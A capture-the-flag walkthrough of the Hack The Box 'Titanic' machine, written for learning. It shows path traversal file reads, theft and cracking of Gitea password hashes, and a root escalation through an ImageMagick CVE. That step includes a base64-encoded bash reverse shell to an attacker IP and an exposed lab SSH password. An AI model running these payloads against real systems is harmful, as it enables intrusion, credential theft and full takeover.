export IP=<HTB TITANIC IP>
We start with Nmap enumeration:
$ nmap -sV -oA Enums/nmap/initial -Pn $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-21 05:57 EDT
Nmap scan report for 10.10.11.55
Host is up (0.13s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.66 seconds
We found both HTTP and SSH services. We will investigate the HTTP service on port 80.
$ whatweb $IP
http://10.10.11.55 [301 Moved Permanently] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.55], RedirectLocation[http://titanic.htb/], Title[301 Moved Permanently]
ERROR Opening: https://titanic.htb/ - no address for titanic.htb
The IP redirects but is not found via DNS resolution. We add the DNS entry to /etc/hosts
to resolve it correctly:
$ echo "$IP titanic.htb" | sudo tee -a /etc/hosts
Now, running whatweb
again:
$ whatweb $IP
http://10.10.11.55 [301 Moved Permanently] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.55], RedirectLocation[http://titanic.htb/], Title[301 Moved Permanently]
http://titanic.htb/ [200 OK] Bootstrap[4.5.2], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.10.12], IP[10.10.11.55], JQuery, Python[3.10.12], Script, Title[Titanic - Book Your Ship Trip], Werkzeug[3.0.3]
We discover the website at http://titanic.htb/
is a Titanic-themed booking site. Next, we perform a directory brute force scan with gobuster
.
$ gobuster dir -u $TARGET -b 404 --wordlist /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://titanic.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/book (Status: 405) [Size: 153]
/download (Status: 400) [Size: 41]
/server-status (Status: 403) [Size: 276]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
Using the form on the index page, we note that booking requests send a POST to create a booking, and a booking is available at http://titanic.htb/download?ticket=<uuid>.json
.
We hypothesize that the /book
endpoint creates a JSON file, which can be accessed at /download
.
We test for path traversal vulnerabilities by manipulating the ticket
parameter.
We can access files outside the download directory, such as /etc/passwd
:
$ curl http://titanic.htb/download?ticket=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Additionally, we can access /etc/hosts
:
$ curl http://titanic.htb/download?ticket=/etc/hosts
127.0.0.1 localhost titanic.htb dev.titanic.htb
127.0.1.1 titanic
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
...
We add dev.titanic.htb
to /etc/hosts
to resolve this new hostname.
On dev.titanic.htb
, we find a Gitea instance running version 1.22.1. Two public repositories are available:
http://dev.titanic.htb/developer/flask-app
(contains code for the Flask app)http://dev.titanic.htb/developer/docker-config
(contains Docker compose for the app)In the Docker configuration, we found a MySQL configuration with the root password <SNIP>
. However, it didn't seem like the MySQL server was running, so we kept this information but it appeared to be unusable at the moment.
Additionally, we discovered that Gitea data is located at /home/developer/gitea/data/gitea
in the Docker Compose files. We can use path traversal to access this data.
Looking at the Gitea documentation, we guessed the path of the Gitea database file and retrieved it:
$ curl http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db -o gitea.db
We can explore the database to extract valuable information.
After doing some research on Gitea password storage, we found a tool called giteatohashcat that allows us to extract the password hashes, avoiding the need to extract them manually:
$ git clone https://github.com/BhattJayD/giteatohashcat
$ cd giteatohashcat/
$ python giteaToHashcat.py ../../gitea.db
[+] Extracting password hashes...
[+] Extraction complete. Output:
administrator:sha256:50000:<SNIP>
developer:sha256:50000:<SNIP>
...
We focused on the developer
user, as we identified that there is an SSH user with the same username and a shell. We hoped it used the same password, so we attempted to crack the password hash
using hashcat.
hashcat -m 10900 sha256:50000:<SNIP> /usr/share/wordlists/rockyou.txt.gz
....
After successfully cracking the hash, we get the password <SNIP>
.
We tried this password to access the developer
account via SSH, and it worked::
$ ssh developer@titanic.htb
$ whoami
developer
$ cat user.txt
<SNIP>
Now we have foothold on the machine and our first user flag.
After some exploring on the filesystem, we found an interesting script in opt
: /opt/scripts/identify_images.sh
. This script generates a metadata.log
file for every jpg
file using ImageMagick
in /opt/app/static/assets/images/
periodically (approximately every minute). The script seems to run as the root
user, making it an interesting target.
We check the version of ImageMagick
:
$ magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Searching for vulnerabilities in this version, we find a CVE-2024-41817 exploit.
We use this exploit to create a reverse shell as root.
On our attack machine, we create a malicious shared library that will be loaded by ImageMagick:
$ git clone https://github.com/Dxsk/CVE-2024-41817-poc
$ cd CVE-2024-41817-poc/
$ python3 exploit.py -c "echo ZXhlYyA1PD4vZGV2L3RjcC8xMC4xMC4xNi4zLzkwMDE7Y2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU= |base64 -d |bash" -H titanic.htb -p 22 -u developer -P 25282528 -A
This generates the malicious shared library, which we then move to /opt/app/static/assets/images/
on the target machine:
mv /tmp/libxcb.so /opt/app/static/assets/images/libxcb.so.1
On our attacker machine, we set up a listener:
$ nc -lvnp 9001
listening on [any] 9001 ...
Once the script runs, we receive the reverse shell and become root
:
$ whoami
root
$ cd
$ cat root.txt
<SNIP>
We have gained root access and obtained the root flag!
This exploitation process highlights how a simple path traversal vulnerability can lead to more serious security issues. What initially can be seemed like a simple information disclosure vulnerability allowed us to access sensitive files, extract credentials, and ultimately escalate privileges.